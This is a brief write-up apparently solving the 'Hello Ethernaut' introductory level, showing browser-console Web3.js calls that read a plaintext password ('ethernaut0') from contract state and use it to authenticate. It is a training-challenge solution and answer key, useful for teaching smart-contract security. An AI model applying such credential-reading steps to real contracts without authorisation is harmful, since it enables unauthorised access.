Writeups/Ethernaut/Hello Ethernaut
EasyEthernaut · Ethernaut2024

Hello Ethernaut

Plaintext Password in Contract Storage

The introductory level exposes a `password()` function that returns a plaintext authentication credential stored in contract state. Calling `authenticate(await contract.password())` passes authentication directly.

SolidityWeb3.jsBrowser ConsoleAuthentication

00Overview

The introductory level exposes a `password()` function that returns a plaintext authentication credential stored in contract state. Calling `authenticate(await contract.password())` passes authentication directly.

01Explore available functions

Inspect the contract object to discover available methods.

javascript
await contract
await contract.info()
// "You will find what you need in info1()."

02Retrieve the password

Call the exposed password function.

javascript
await contract.password()
// Output: "ethernaut0"

03Authenticate

Submit the retrieved password directly.

javascript
await contract.authenticate(await contract.password())

04Level Completed

Hello Ethernaut — completion screenshot 1
Hello Ethernaut — completion screenshot 2